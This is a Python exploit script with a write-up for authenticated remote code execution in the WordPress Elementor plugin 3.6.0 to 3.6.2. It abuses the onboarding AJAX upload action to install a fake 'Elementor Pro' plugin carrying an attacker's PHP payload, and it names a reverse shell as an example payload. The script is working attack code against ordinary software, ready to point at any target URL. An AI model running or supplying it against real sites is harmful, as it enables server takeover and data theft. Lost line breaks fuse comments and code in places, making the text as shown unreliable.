# Exploit Title: WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated)# Date: 04/16/2022# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)# Vendor Homepage: https://elementor.com/# Software Link: https://wordpress.org/plugins/elementor/advanced/ (scroll down to select the version)# Version: 3.6.0, 3.6.1, 3.62# Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload)#!/usr/bin/pythonimport requests
import re
# WARNING: This exploit does NOT include the payload.# Also, be sure you already have some valid credentials. This exploit needs an account in order to work.# # # # # VULNERABILITY DESCRIPTION # # # # ## The WordPress plugin called Elementor (v. 3.6.0, 3.6.1, 3.6.2) has a vulnerability that allows any authenticated user to upload and execute any PHP file.# This vulnerability, in the OWASP TOP 10 2021, is placed in position #1 (Broken Access Control)# The file that contains this vulnerability is elementor/core/app/modules/onboarding/module.php## At the end of this file you can find this code:# add_action( 'admin_init', function() {# if ( wp_doing_ajax() &&# isset( $_POST['action'] ) &&# isset( $_POST['_nonce'] ) &&# wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY )# ) {# $this->maybe_handle_ajax();# }# } );## This code is triggered whenever ANY user account visits /wp-admin# In order to work we need the following 4 things:# 1. The call must be an "ajax call" (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call /wp-admin/admin-ajax.php# 2. The parameter "action" must be "elementor_upload_and_install_pro" (check out the function named maybe_handle_ajax() in the same file)# 3. The parameter "_nonce" must be retrieved after login by inspecting the /wp-admin page (this exploit does this in DoLogin function)# 4. The parameter "fileToUpload" must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file)## The file we upload must have the following structure:# 1. It must be a ZIP file. You can name it as you want.# 2. It must contain a folder called "elementor-pro"# 3. This folder must contain a file named "elementor-pro.php"# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)# 4. The payload must contain AT LEAST the plugin name, otherwise WordPress will NOT accept it and the upload will FAIL# e.g.# <?php# /**# * Plugin Name: Elementor Pro# */# // Actual PHP payload# ?># This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)## WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload.# If it tries, for example, to connect to an offline host, it could lead to a Denial of Service.# In order to prevent this, I suggest you to use some variable to activate the payload.# Something like this (visit anypage.php?activate=1 in order to continue with the actual payload):# if (!isset($_GET['activate']))# return;# Change the following 4 variables:
payloadFileName ='elementor-pro.zip'# Change this with the path of the ZIP archive that contains your payload
baseUrl ='http://192.168.56.103/wordpress/'# Change this with the base url of the target
username ='guest'# Change this with the username you want to use to log in
password ='test'# Change this with the password you want to use to log in# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
session = requests.Session()
cookies ={'wordpress_test_cookie':'WP+Cookie+check'}# WordPress needs this to tell if browser can manage cookiesdefDoLogin(username, password):global cookies
loginUrl = baseUrl +'wp-login.php'
adminUrl = baseUrl +'wp-admin/'
data ={'log': username,'pwd': password,'wp-submit':'Login','redirect_to': adminUrl,'testcookie':1}# search for: "ajax":{"url":"http:\/\/baseUrl\/wp-admin\/admin-ajax.php","nonce":"4e8878bdba"}# 4e8878bdba is just an example of nonce. It can be anything else.
regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}')
response = session.post(loginUrl, cookies=cookies, data=data)
search = regexp.search(response.text)ifnot search:# I've tested this on WordPress v. 5.9.3# Fix the regexp if needed.print('Error - Invalid credentials?')#print(response.text)else:return search.group(1)defUploadFile(fileName, nonce):
uploadUrl = baseUrl +'wp-admin/admin-ajax.php'
data ={'action':'elementor_upload_and_install_pro','_nonce': nonce }
files ={'fileToUpload':open(fileName,'rb')}
regexp = re.compile('"elementorProInstalled":true')# search for: "elementorProInstalled":true
response = session.post(uploadUrl, data=data, files=files)
search = regexp.search(response.text)ifnot search:# If Elemento Pro is already installed, the upload will fail.# You can print the response to investigate furtherprint('Error - Upload failed')# print (response.text)returnFalseelse:print('Upload completed successfully!')returnTrue# Define YOUR method to activate your payload (if needed)defActivatePayload():
payloadUrl = baseUrl +'index.php?activate=1'
session.get(payloadUrl)print('Trying to login...')
nonce = DoLogin(username, password)print('Nonce found: '+ nonce)print('Uploading payload...')
fileUploaded = UploadFile(payloadFileName, nonce)# Define YOUR method to activate your payload (if needed)if fileUploaded:print('Activating payload...')
ActivatePayload()